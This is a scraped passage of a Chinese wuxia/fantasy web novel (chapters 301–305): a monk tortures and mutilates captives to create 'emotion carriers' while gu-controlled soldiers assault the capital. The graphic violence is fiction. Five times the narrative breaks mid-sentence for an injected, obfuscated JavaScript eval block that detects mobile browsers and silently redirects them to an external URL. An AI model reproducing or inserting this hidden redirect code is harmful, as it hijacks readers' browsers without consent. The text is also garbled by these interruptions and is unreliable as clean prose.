无尘大师这时候走上前来,手中拿着一个药瓶,二话不说,猛地将里面的药丸塞进了柳汝兰口中,又强迫她咽下。 挣脱不得,只能感受到喉中的药味,柳汝兰绝望地哈哈大笑起来。 “好啊,你弄死我们母子好了!不过,我就是做鬼也不会放过你!” 听着这话,天问大师的笑容越发深邃。 “你不会去做鬼的,”他轻声细语,“你会好好地活着,并且……生不如死。” 说完这话,不等柳汝兰反应,天问大师又转过头,阴森却兴奋的目光朝着已经被吓得失去神智的萧卓看去。 “你私下里不是一直在嫉妒萧延吗?觉得他有的东西你都没有,为此感到很不平衡,是不是?” 萧卓早就已经失去了思考的能力,双眼空洞地看着天问大师,却连一点儿要回答的意思都没有。 天问大师见状也不恼,反而又笑眯眯地在他头上摸了一把。 “萧延虽然已经**,但是我想,你对他的这份嫉妒应该还在吧?他身上有一样东西和你不一样,今天,我就帮你改掉。” 说起萧延,天问大师的笑容又变得狰狞了几分。 那孩子是个彻头彻尾的软骨头,别看平时叫得凶,骂得响,可真出了事,哪怕是自己被阉这样**的事,也只敢把怨气撒在更低自己一等的人头上! 怂包软蛋! “你可别让我失望啊……” 喃喃自语着,天问大师朝武僧们点了点头。 “不要,不要!” 看着武僧们要往萧卓身下伸出的手,柳汝兰已经意识到了什么,她放声尖叫,却已经来不及了—— “啊!” “大师,成了!” 第三百零一章 情绪的载体 眼见着那两个武僧一刀斩向萧卓下身,鲜血飞溅,在萧卓无比凄厉的惨叫声中,柳汝兰双眼一翻,顿时昏倒在地! 她的儿子! 眼前一黑,柳汝兰失去了全部的意识,无尘大师压抑着兴奋的叫声倒是响了起来! 瘫软在地的柳汝兰这会儿本该没有半分动静,可她的身体这会儿却小幅度地抽搐了起来! 天问大师见状,眼底也闪过了一抹精光。 “快!” 他抬手低呼,从暗牢另一处又小步快跑出了几个武僧,将柳汝兰的身体抬起,连拖带抱地朝着他们来时的方向而去。 细看,那里还有个不大的空间,里面摆着一张简易的床,床上躺着一个一动不动的人影。 武僧们将柳汝兰抬了过去,帘子随即垂下,遮挡了外界的所有视线。 金婶子一家三口已经完全被出现在眼前的景象惊呆了,连眼珠子都不会转了,直勾勾盯着柳汝兰消失的方向。 另一边,天问大师仍在继续。 萧然躺在钉床上浑身发抖,已经疼得连喊都喊不出来,而萧卓经历了更大的疼痛和**,这会儿双眼紧闭,俨然已经昏**过去。 将这对兄弟俩挨个看了看,天问大师朝着萧卓指了指。 “他的情绪更丰富一些。” 武僧们二话不说,上前左右开弓,几个重重的大耳光扇下,萧卓口吐鲜血地清醒了过来。 方才的经历在脑中重现,他瞪大了双眼,颤颤巍巍地朝着自己身下看去。 他,他的…… “小太监?” 天问大师笑眯眯地捏住了萧卓的下巴,端详着他的表情。 听到这三个字,萧卓浑身一软,却又死死地瞪着眼前的人。 “我要杀了你!”他用尽力气大喊,“你这个贱——呜呜呜!” 一句话还没说完,无尘大师的手不知道从什么地方又伸了出来,依旧是攥着那药瓶,猛地也朝萧卓口中塞了一颗药丸。 萧卓想吐掉,天问大师却一把攥住了他的脖子! “来,看看你弟弟?” 轻笑一声,天问大师按着萧卓的脖子,强行让他转过头去,又把他的脑袋朝萧然身上按了两下。 萧然这会儿全身是血,呼吸也变得无比急促,眼神涣散,面对萧卓的脸也没有半点反应。 在天问大师的授意之下,一个武僧又从旁边抓起铁板,狠狠地在萧然身上抽打起来! “啊——好疼!我好疼啊!” 被疼痛刺激,萧然的眼中终于有了一点光芒,却亮得慑人。 他放声惨叫,凄厉无比,听得萧卓的身子也跟着不住地哆嗦起来。 感受着手下的颤抖,天问大师毫不留情地又把萧卓往前推了推。 “瞧瞧,”他柔声细语,“弟弟现在的模样,好不好?等一会儿,把你也放在这个东西上,让你们兄弟的血融合在一起,怎么样?” “我,我……” 眼珠子几乎要贴上萧然流出的血,萧卓抖若筛糠,吭哧吭哧地喘着粗气,而后便忽然一僵! 天问大师神情一滞,随后又眼神晦暗地低下头,看着萧卓瘫倒在地,身子抽动几下,便没了声息。 他闭了闭眼,没说话,暗牢中的气氛却顿时变得紧张了起来。 无尘大师小心翼翼地缩着脖子,咽了咽口水,假装自己并不存在。 这恐惧的载体又失败了。 准确地说,是从来没有成功过。 人有各种各样的情绪,混合在一起又相互制约,便能在人体内达到某种平衡。 可要是其中的某一种情绪太多,太大,太浓烈,便会产生相应的效果。 天问大师已经苦心钻研了许多年,先激起载体的某一种情绪,再辅以药物刺激,持续将其放大,便能让载体受益于这种情绪,做出常人所不能及的事情。 愤怒的载体力大无比,忧虑的载体能让人心神不宁,悲伤的载体能感染旁人,使其生出自尽的念头…… 他们已经成功了很多次,却唯独在这恐惧的载体上,屡屡受挫。 恐惧情绪太大,载体来不及反应便会被吓死,情绪太小又无法受到相应的刺激,其中的分寸,实在是难以把握。 眼下,这不又失败 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16005265|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个? 无尘大师不出声地叹了口气。 天问大师这时候已经整理好了情绪,转过头来,冷冷的目光又朝着金婶子三人而去。 萧卓已死,萧然眼看着也没多少时间好活了,至于柳汝兰,更是被拖进了更深的黑暗。 对上天问大师的目光,金婶子打了个哆嗦,忽然猛地挣扎起来! “放开我!我,我不要!” 不管这秃子究竟在做什么,她不要被他折磨啊! 天问大师又露出了一个狰狞的笑容。 情绪,这不就来了吗? “把她带过来!” —— 暮色四合之时,动作呆板的南疆蛊兵,终于抵达了京城的城门外。 这个时候,城门附近空空荡荡,没有人影,也不见半点灯光。 蛊兵们大多没有神智,只重复前进的动作,却又被为首的石将军抬手止住。 十几万大军同时站定,动作一模一样,那场景,说不出的诡异。 石将军抬头望着天空,落日的最后一丝余晖还没有完全落下,月亮也尚未现出真身。 再等一会儿,待到月亮完全出现,血月的照射之下,这些蛊兵便会彻底成功,变成一个个只会杀戮的妖物! 到那时候,大梁,便唾手可得了! “将军,城里没有一点儿光亮,他们是不是弃城逃跑了?” 副将上前两步,作为队伍里为数不多保有神智的人,他朝着黑洞洞的城墙看了一眼,语气有些担忧。 石将军冷冷地轻笑。 “这是大梁的都城,弃了这里,大梁也别要了,他们是不会走的,现在这样,不过是又有什么计策,还想负隅顽抗罢了。” “没关系,待血月一出,他们就会知道,再做什么都是没用的!” 仰头哈哈大笑,反正蛊兵这会儿也不会有任何反应,石将军丝毫不加掩饰自己的得意。 “准备攻城!”他懒洋洋地摆了摆手。 蛊兵身后的黑暗中,岑灵川捂着又在泛疼的伤口,表情忧虑。 “谢无咎怎么还没回来?” 第三百零二章 我说,撤退! 发觉京城有异,一行人便紧急从禹山而下,朝着这边赶来。 下山的路上,他们和西北军撞了个正着,据对方说,南疆大军化为蛊兵之后,他们试探了几回,发觉这些妖物力大无比,出手狠辣,绝对不是肉体凡胎能抗衡的。 不过这些蛊兵也没有要跟他们交手的意思,只顾着往京城方向赶,倒是让西北大军得以保存了实力。 西北军派出了几支小队,暗中跟在蛊兵附近,余下的大军则是不远不近地追在后面,时刻防范着他们的动作。 如今叶晚竹回归,便重新领起了大军,将他们安排往京城附近,见机行事。 谢无咎则是领先一步,赶在蛊兵大军之前摸进了京中,探查城里现如今的情况,才能再行安排。 他带着谢逸和谢尔,方便行事,岑灵川则是担下了给两边传信的任务。 眼下西北大军已经就位,蛊兵也到了,只剩下谢无咎那边安安静静,没有半点消息传来。 又叹了口气,岑灵川抬头看看马上要黑下来的天色。 血月,这到底是个什么玩意儿? 浮山派遭难之后,天清子大师便将有关血蛊的一切都搜罗起来,岑灵川也跟着看了不少。 虽然如此,但却终究是纸上谈兵。 不过,事到如今,他还真希望有关血蛊的东西,半点也不要现世! 都不是什么好东西! 天色越发昏暗下去,京城依旧安安静静,岑灵川正要收回目光,忽然猛地一顿! 城中有信号来了! —— “那是什么?” 城墙之外,正在等待血月的石将军,眼神忽然一凝。 方才还安安静静,没有传来半点动静的城墙上,这会儿响起了窸窸窣窣的脚步声。 有人来了? 上前两步,石将军皱起眉头细看。 这个时候,太阳已经完全落山,天空铺着一层薄薄的阴云,月亮尚未挂上高空,四下一片朦胧黑暗。 石将军看不分明,只能瞧着那城墙上似乎涌上了什么东西,一层又一层…… “哗”地一声,灯笼和火盆齐齐被点亮! 悚然一惊,石将军又下意识地眯起了眼,还没等反应过来,阵阵尖厉的哭喊声便灌入耳中! “救命,救命啊!” “我不想死……” “放开我!” 乱七八糟的喊声里,石将军终于能睁开双眼,和城墙上密密麻麻的脑袋正相对。 “这,这……” 副将这时候也上前两步,望着上方正在哭嚎的人墙,脸色晦暗不明,透着满满的不理解。 用百姓守城,这办法固然缺德,但对于他们来说,不管是正常兵士,还是现在这些蛊兵,这招也没用啊。 他们本来就是要屠城的,杀多杀少,什么时候杀,又有什么分别? 这京城里现在是什么人在把守,已经黔驴技穷到了这般地步,连这种吃力不讨好的办法都用上了? 人墙密密麻麻,只能看见一张张惊惶的脸,却看不到幕后的主使之人。 副将收回目光,一边朝着石将军看去,“将军,咱们——” “撤退。” “啥,啥?” 听见这两个字,副将猛地顿住,还差点儿闪了自己的脖子! 撤退? 他们十几万蛊兵,要因为这些手无寸铁的百姓撤退? 可等副将彻底转过脑袋,看见了石将军的脸,他要说的话便全都堵在了喉咙口! 石将军这会儿脸色铁青,连带着那些花纹都变得更加阴沉逼仄,让人不敢多看一眼。 不仅如此,他死死咬着牙关,力度太大,以至于副将都能听见他磨牙的声音。 “我说,撤退!” 大概是副将的眼神太过讶异,石将军又转过头来,把自己的话重复了一遍。 “就现在,让大军后撤,马上——” 一句话还没说完,城墙上方,这时候又传来了一阵动静。 石将**过头去,眼瞳便被一汪血色映满! 从城中方向射来的箭,精准地命中了这些守城百姓的后背,顷刻间便将他们从城墙上推下,再重重地落在城门前! 咚咚的闷响传来,鲜血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009785|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞溅,浓郁的血腥味顿时散发开来! “不要!” 石将军嘶声怒吼,又不住地嚷着撤退,可惜,已经来不及了。 受到鲜血的刺激,在他身后,本就因为方才的混乱而躁动不安的蛊兵们,这会儿更是控制不住,不知道是谁带的头,所有人朝着城墙方向一拥而上! 这血蛊虽然厉害,但也不可能全无缺点。 血月出现之前,便是血蛊最虚弱,最抵抗不了外界影响的时候,任何刺激都会让蛊虫狂躁不安,方寸大乱。 更别说是它们最喜欢的鲜血了。 而也是在血月之前,蛊虫一旦见血,再被血月映照,便会……破蛊! 石将军喘着粗气,看向已经一窝蜂朝着城墙涌去的兵士们,大颗大颗的汗珠不住地从额头滑落! 他这会儿已经没有力气再发号施令了,蛊虫同样在他体内冲撞,叫嚣着要去吸血,石将军须得用上十成十的毅力,才没让自己也彻底丧失理智! 头顶已经传来微凉的月光,血蛊已破,现在说什么都晚了! 拔刀往自己大腿上狠狠砍去,鲜血迸出,蛊虫大口吞食着近在眼前的食物,石将军勉强夺回身体的控制权,踉踉跄跄地转头就跑。 出了这么大的事儿,他不能坐以待毙,要往南疆送消息才行! 怀揣着这个信念,石将军吭哧吭哧地沿着来路折返。 为了不惊动京城,蛊兵们一路都是步行而来,石将军也不例外。 没有马,只能徒步奔跑,时不时还要砍自己一刀,石将军前进的速度越来越慢。 他的眼前也阵阵发黑,越来越模糊—— “站住!” 眼见这浑身是血,南疆装扮的人影一路跑来,直冲着西北大军的藏身之处而来,叶晚竹策马而出,手执**,仗着高度,一把钉在此人肩头上! 呲地一声,**入肉,这人也如风筝一般朝后仰倒下去。 这是什么情况? 蛊兵不应该如此不堪一击吧? 叶晚竹眉头一皱,翻身下马便朝着这奄奄一息的身影而去。 “殿下!” 第三百零三章 救救我 隐月趴在林子里,看着外面叶晚竹的动作,忍不住惊起了一身冷汗! 可他喊也没用,他被孟希越打断了双腿,脏器也受了重伤,还能捡回一条命来,就已经是上天保佑了。 隐翼更是躺在一旁,脸色惨白,根本没有要清醒的意思! 隐月惊慌的这会儿功夫,叶晚竹已经靠近了地上的人影。 她拿走了徐将军的红缨**,用它将此人翻了个个,正面朝上之后,叶晚竹很快便认出了这张脸。 “石将军?” 轻笑一声,叶晚竹手中枪尖抵住了他的脖颈。 “真没想到,居然还能看见你喘气的时候。” 想当初,她可是亲眼看见石将军被暗器所伤,一击毙命的。 “救,救救我,救救我……” 似乎是被方才叶晚竹那一击剥去了所有的力气,石将军瘫倒在地,脸色灰败,眼神也变得涣散。 他看不见自己此时的模样,脸上的花纹已经尽数褪去,又渐渐漫上了青黑的色泽。 月已中天,在阴云的遮蔽下显得朦朦胧胧的,又散发出淡淡的红色光泽。 血月已出,可惜,那些蛊虫已经吞食了石将军的血,这会儿承受不住,纷纷爆体而亡。 石将军盔甲下的身体冒出鼓鼓囊囊的肿块,又先后破裂,只是包裹在里面,什么都看不出来。 只有石将军的眼神变得更加涣散。 叶晚竹先前并未见过血蛊真容,这会儿自然也看不出什么变化。 不过,单看石将军此时的脸色,便也能知道他是大限将至了。 “我救不了你。” 一掀衣袍在石将军面前蹲下,叶晚竹的语气依旧是冷冰冰的。 “你还有什么话想说?我倒是可以帮你。” 石将军闻言,大口大口地喘着粗气,又费力地转过头来,无神的双眼朝着叶晚竹看。 一串呓语从他口中迸出,是南疆话。 叶晚竹在南疆那几个月,多少耳濡目染了一些,此时却也只能听得懂几个破碎的词语。 王上,失败,离开,准备。 这是什么情况? 石将军这会儿眼神涣散,口鼻中也溢出黑色的血迹,显然深陷将死的幻觉之中,根本就不知道站在自己面前的人是谁。 叶晚竹还要再问,这个时候,隐月喊来了两个兵士,硬是抬着他走了过来。 “殿下……” 疼得连连倒吸冷气,隐月的语速却不敢放慢。 “这人是在说,‘王上,大事不好,我们的计划失败了,那人发现了,肯定会离开大梁,回都城去,您要早做准备’!” 叶晚竹闻言一惊又一惊。 惊得是蛊兵的计划竟然会失败,还把石将军弄到了如此狼狈的死局之中。 更惊的是…… “你听得懂南疆话?” 挑起眉头,叶晚竹朝着隐月看了过去。 隐月是谢无咎的贴身侍卫,向来不会离开他身边太远,可他能听懂这么长一句南疆话,显然不是偶然。 再想想谢无咎对血蛊的了解,叶晚竹越发确定。 谢无咎肯定去过南疆,并且,在那里应该发生过不少事情。 另一边,被她这么盯着,隐月咽了咽口水,面上现出了无比尴尬的表情。 “殿下……您,您就别问了!” 问了他也不能说! 回过神,叶晚竹不动声色地低下头,看着已经七窍流血的石将军。 不知道这位是什么时候咽的气,石将军大睁着空洞的双眼,死不瞑目,身上也开始散发出一股难闻的气味。 他精壮的躯体正在迅速干瘪下去,黑血不断从盔甲里涌出,落在地上滋滋作响。 这景象,和先前孟希越死的时候如出一辙。 显然,这也是一个被血蛊反噬了的失败宿主。 难道说,前方出了什么意外,导致这些蛊兵全都被反噬了? 虽然这想来是个好消息,可叶晚竹却皱起眉头,着实不敢相信。 会有这么好的事儿? “叶将军!叶将军!” 兵士们正要将石将军的尸体用火焚烧,这个时候,被派去前线的斥候连滚带爬,气喘吁吁地跑了过来! “将军!” 他一头冲到叶晚竹面前,张了张嘴,想说话,却又好像不知道该怎么说的样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009786|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 “出了什么事?”隐月见状,急得就差站起来了,“赶快说呀!” 那斥候哽了半天,猛地一拍大腿! “将军,南疆蛊兵在京城外被鲜血刺激,忽然发狂,涌入京城后又很快被蛊虫反噬,伤亡惨重,已经无力为继了!” “真的?” 隐月闻言又惊又喜,西北军的几个将士也跟着瞪大了双眼。 可那斥候的表情却依旧十分难看。 “从哪儿来的鲜血?” 叶晚竹这时候直直盯着斥候,心里已经有了不好的预感。 眼下京中唯一称得上能当家做主的人是天问大师,以他的心狠手辣,想必不会有什么好主意! 斥候哭丧着脸,“城里,城里用百姓守城墙,又把他们推到城墙下,吸引那些蛊兵!” “……岂有此理!” 将军们闻言顿时也跳了起来,可这斥候的话,却还没说完! “北城门早就被破,那些蛊兵不费吹灰之力就冲进了城,正在到处**呢!” 叶晚竹一把抓住了这斥候要软倒下去的身子。 “传军令,大军立刻往京城出发增援!” —— “有怪物!” “救命啊!” “快跑,别出声!” 京城向来是纸醉金迷处,富贵温柔乡,眼下却已经成了一片尸山血海,人间地狱。 为数不多的百姓惊恐地到处奔逃,表情中透着满满的绝望,却连尖叫声都不敢发出。 经历过前些日子的大**,眼下还留在这个京城之中的,本就是无能为力,逃不出去的老弱病残。 被抓到城墙上杀了一批,剩下的人这会儿面对着京中的景象,更是不知道该如何是好。 城外是**饮血,宛如恶鬼在世的南疆兵马,城里,城里的怪物也不遑多让! 三个浑身沾满血污的身影,摇摇晃晃地在京中各处行走,见到活物就一把抓过去,三两下咬得没个人样! 这还能给他们半点活路吗? “接下来往哪儿引?你利索点!” 屋檐之上,岑灵川压低声音,没好气地瞪着谢无咎! 第三百零四章 论怪物和鸡 谢无咎一时间并未说话,垂着眉眼,静默地打量着下方的怪物们。 柳汝兰,金婶子,萧然。 都是熟面孔。 谢无咎眉间有郁色一闪而过。 按照他们先前的计划,谢无咎到京中打探消息,顺便救人。 柳寻雁一去不回,书画小花,还有叶晚竹的伙计们也没有消息,显然是又被天问大师绊住了手脚。 此秃瓢颇为难缠,谢无咎来对付他最是合适。 谢无咎潜入京中,绕了一圈,最后竟然在他的东厂之中,找到了天问大师的踪迹。 也找到了他把人变成怪物的秘密。 他还是来得晚了,柳汝兰三人已经变成了怪物,又被天问大师放到大街上,开始四处杀戮。 与此同时,城墙上也乱了起来。 谢无咎头一遭感到什么叫左支右绌,派了谢逸和谢尔去城墙上救人,又放出信号,将岑灵川喊了进来帮忙。 这天问秃驴的打算,谢无咎已经基本摸清楚了。 他要先用百姓牵制住蛊兵,等柳汝兰三人杀出血气,蛊兵却实力衰退,他便能反败为胜! 而且……还能收获一群新的怪物。 看着那些被柳汝兰等人咬过之后,也渐渐变成怪物的百姓,谢无咎的表情更加阴晴不定。 “诶!” 这时候,问了半天话都没得到任何答案,岑灵川忍不住,一脚踢在谢无咎腿上! “城里没鸡了!再来,就只能让她们咬人了啊!”他愤愤地压低声音威胁着。 这位九千岁也不知道从哪儿想的主意,让他在城里到处抓鸡,再丢到这些怪物面前,一路引着她们来回绕着圈子,拖延时间。 可他真的再也找不到鸡了! 谢无咎的目光又朝着跟在怪物们尾端的那一群大大小小的鸡看了过去。 “还得再拖一阵子。” 听着外城那边的动静依旧,谢无咎又抿了抿唇。 外城这会儿估计已经没有多少活人了,蛊兵们失去了理智,只能自相残杀,但数量依旧可观。 天问大师大概是要把京中能用的人都变成自己的怪物,内城这边多了不少衣衫褴褛的乞丐等人,一看就是四处搜刮而来。 可眼下,这些人都勉强躲了起来,反正没有变成怪物,如此一来,内城的力量就显得不够看了。 还得再等等,等到蛊兵们再互相消耗一批力量才行。 “城里没鸡,还有没有其他活物?”谢无咎又想起岑灵川的话,“鸭子呢,猪也行。” 让他抓猪? 岑灵川瞪大了双眼,又深深地吸了一口气。 “你怎么自己不去?” 谢无咎面无表情地看了他一眼。 他去抓猪,万一这边的怪物闹起来,岑灵川有把握能对付得了? “……等着!” 愤怒地做了个深呼吸,岑灵川拔腿便要朝着城中而去。 “等等!”谢无咎却又忽然一把抓住了他的手腕。 这人怎么一惊一乍的! 正要扭头发怒,岑灵川目光一转,顿时愣住了。 从外城墙的方向发来一道信号! 师妹带着西北大军,来了! “不用抓猪了,”谢无咎的低笑声也跟着响起,“这下出去,正是时候!” 以蛊兵的力量,大约能将这三个怪物拿下,却也是两败俱伤。 正好被大军一网打尽! “走!” —— “大师!大师啊,不好了!” 东厂的暗牢里,天问大师正在准备离开,耳边忽然传来了随从惊慌失措的喊声。 又怎么了? 眼角猛跳,心也跟着突突,天问大师转过头来,感到自己全身上下都窜起了一阵寒意。 难道是那三个载体失败了? 一旁的无尘大师也神情悚然,一脸不安地朝着那随从催促,“有话快说!” 那随从气喘吁吁地跑来,不等站稳便扯着嗓子嚷嚷了起来。 “西北大军来了,将蛊兵围在外城,血蛊已破,那些蛊兵不成气候,马上就要被诛杀殆尽了!” “那,那咱们的人呢?”无尘大师问得无比急促。 随从哆嗦了几下,双眼无神地朝着这位看了过去。 “那三个载体在城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009787|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中游荡,却,却没同化多少人,而是,而是杀了,杀了……” 他哆哆嗦嗦的,这话眼看着就是说不下去。 “杀了什么!”无尘大师气得都快要跳起来了。 “杀了……一群鸡。”随从缩着脖子,忍不住先开始瑟瑟发抖。 随从这话落下,无尘大师不由得怀疑起自己的耳朵来。 杀鸡? 那么多大活人不杀,却要杀鸡? 那三个载体和鸡有什么过不去的矛盾不成? “她们带着那群鸡和蛊兵对战,不,不是对手……” 那随从还在结结巴巴地说着话,只听“啪”地一声响,天问大师这时候重重地一巴掌拍在桌子上,将实木的小桌硬生生断成了几截! “收拾东西,马上离开!” 阴沉着一张脸,天问大师从牙缝里挤出一句话,双手这会儿都在不自觉地发着抖。 将那三个载体放出去之后,天问大师这边也是派人跟从着的,传回来的消息一切正常,最后怎么会只杀了一群鸡? 除非……是这消息的来源,出了问题! 有人趁乱混进来了! 可眼下已经没有追查内鬼的时间了,西北大军已经开始清理残局,蛊兵和他的载体两败俱伤,这场仗,最后竟然还是让叶晚竹赢了! 不甘心地攥紧了拳头,天问大师的语气却还是十分坚决。 “快走,现在就撤!” 败了就败了吧,保存实力,他们还有机会! 况且,他手里还有对付叶晚竹最后的筹码! 匆匆收拾了东西,天问大师身形如电地朝着他提前给自己安排好的退路去。 被追杀成这样实在狼狈,听着背后传来的喊杀声和打斗声,天问大师的脸色越发地难看,黑得好像能滴水似的。 一路穿过皇宫,他在冷宫之外停下了脚步。 这里有道暗门,能通往外面,马车便在那里等待,他们会从南城门撤离,直奔南疆! 天问大师这会儿满心都是愤怒。 他倒是要去看看,南疆王那边,究竟是出了什么岔子! “大师?好久不见!” 第三百零五章 我守这里,你去救人 冷冰冰又带着笑意的声音响起,天问大师正在疾行的脚步忽然就是一顿! 他脸色沉凝地看着站在暗门后的两个高大的黑影。 隐风,隐川。 “终于等到大师了。” 对上天问大师难看的脸色,隐川笑了笑,又朝着他投去一个连嘲带讽的眼神。 “我俩刚才还在下注呢,赌您老人家还能在京城里坚持多久,没想到,您这就来了?胆子吓破得怎么这么快?” 天问大师面沉如水,“你们怎么知道贫僧的行踪?” 他队伍里的内鬼,竟然有这样的本事? 隐风也轻声笑了起来。 “大师,您和主子说的一模一样,最爱……自作聪明。” “哼!” 听不到想听的答案,天问大师冷哼一声,袍袖一甩便飞身而起! 不过是两个堵门的小喽啰,杀了便是! 天问大师身形如电,猛地朝着两人飞扑过去,隐风隐川对视一眼,同时迎上他的动作! 他二人已经在城中潜伏了多日,奉九千岁的命令,一定要将小花等人救出来。 东厂本就是他们的地盘,想找到小花一行人的踪迹不难,难的是如何从天问大师眼皮子下面,把她们带走。 这件事着实不容易,比起京中其他地方,东厂暗牢之中,天问大师的人手最多,也最是厉害。 这秃驴为什么对小花等人如此看重? 隐风和隐川都想不明白,只能继续暗中埋伏,好寻找机会。 小花等人全都被用了重刑,无法行走,两人一直等到柳寻雁被关进那间暗牢,这才终于找到了一个下手的可能! “大师,这京城,岂是你想来就来,想走就走的地方?” “看招!” 对视一眼,隐风和隐川拔出手中长剑,齐齐朝着天问大师攻了上去! 甫一交手,天问大师便感到这两人不好对付,等再过上几招,他退后两步,心里更是忽然就打了个突。 这两个人出手并非是什么杀招,但却招招都难缠至极! 他们要拖延时间! 为了什么? 胸口一沉,天问大师猛地抬起头,朝着马车等待的方向看了过去。 隐隐的混乱声从那边响了起来! 不好! 他中计了! 眉头一皱,天问大师飞身而起,再不愿和隐风隐川纠缠半分! “站住!” 看着天问大师的动作,两人起身要追,身后却又飞来几道暗箭! 无尘大师带着几个武僧赶到,二话不说冲了上来。 “找死!” 无尘大师气喘吁吁的,语气却发着狠。 他刚才都看见了,这两个该死的,竟然对天问大师动手! “杀了他们!”无尘大师猛地一挥手,“不自量力的东西!” 两个武僧沉着脸上前半步,眼底猩红一片,神情癫狂,显然不是什么正常人。 “我在这儿挡着,你去追人!” 隐风横刀在前,低声快语一句,隐川点了点头,二话不说转头就跑! “一个也别想走!” 无尘大师咬牙切齿,又是猛地一挥手,那两个武僧低吼一声,瞬间便朝着两人冲了上去! 隐风大喝着拔刀迎上,却没想到,对方分明手无寸铁,一拳便能将隐风手里的长刀打碎! 对上对方癫狂的眼眸,里面没有半分理智,隐风心里一颤,下意识地想后退,胸口这时候传来了一阵猛烈的疼痛! 咚地一声,隐风的身体被这武僧狠狠击中,伴随着骨骼碎裂的声音传来,他身子被打飞出去,又重重地落在地上。 吐出一大口鲜血,隐风还想挣扎,下一刻,却眼前一黑,彻底失去了意识。 听着身后传来的动静,隐川攥紧了拳头,忍住想回头看的欲望,又加快了向前的速度。 可眼前一黑,风声一闪,另一个武僧已经无声无息地追到了他的面前! “杀了他!” 无尘大师的吼声再度响起,隐川身形移动,试图躲开这诡异武僧的拳头! “你跑不了!” 那武僧桀桀地怪笑着,脚下一晃,身子紧紧地跟住隐川,同时便要出手—— “哦?说话这么嚣张,你算老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018918|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几?” 隐川眼看躲不开这要命的一击,正打算硬抗,谢无咎含笑的声音传来,他猛地精神一震。 “主子!” 与此同时,一柄折扇从不远处飞来,横**两人之间,硬是拦了一把那武僧的动作! 折扇拍在胸口,武僧倒吸一口冷气,竟然吃痛后退了两步! 这,这怎么可能? 一直在旁边观战的无尘大师,这会儿猛地瞪大了双眼。 谢无咎再厉害,他能打得过这些用了血蛊的武僧? 和外面的那些蛊兵不同,这些武僧们用的,可是天问大师的药方和蛊虫,那都是经过改良的啊! 可眼睁睁地看着那个武僧倒下,又吐出一大口鲜血,而谢无咎的身影从半空而来,又朝着仅剩的那个武僧而去,并且一脚将他踢飞到几步开外,无尘大师顿时再也淡定不下去了。 不知道这是怎么回事,但他不能再继续呆下去了! 这谢无咎,竟然有这样的本事! 他先前是在故意隐藏不成? 好深的心思! 踉踉跄跄地后退几步,无尘大师便要拔腿逃跑,肩膀却忽然被一只大手按住了! “哟,又是一个秃驴?” 岑灵川笑吟吟地一把揽住无尘大师的肩头,手上用力,无尘大师顿时哀哀地惨叫了起来。 他可没有什么钢筋铁骨啊! “啧,你怎么是个废物?” 在无尘大师身上捏了两把,岑灵川便知道他只是个普通人,顿时无趣地叹了一声。 不过,他很快就又用了两分力气,一边听着无尘大师惨叫,一边冷笑出声。 “把你这样的废物留下,对于那天问老秃来说,应该是松快了不少吧?” “他不要你正好,来,你跟我说说,你们这个一点儿诚心都没有的假和尚组织,到底要干什么见不得人的事情?” “我,我……” 挣扎不得,无尘大师被岑灵川一掌拍晕,又扛在肩上,一摇一晃地朝着已经落地的谢无咎走了过去。 “这儿交给我,你去追那个秃驴!” “正有此意!” 第三百零六章 狸猫换太子 半个时辰之前。 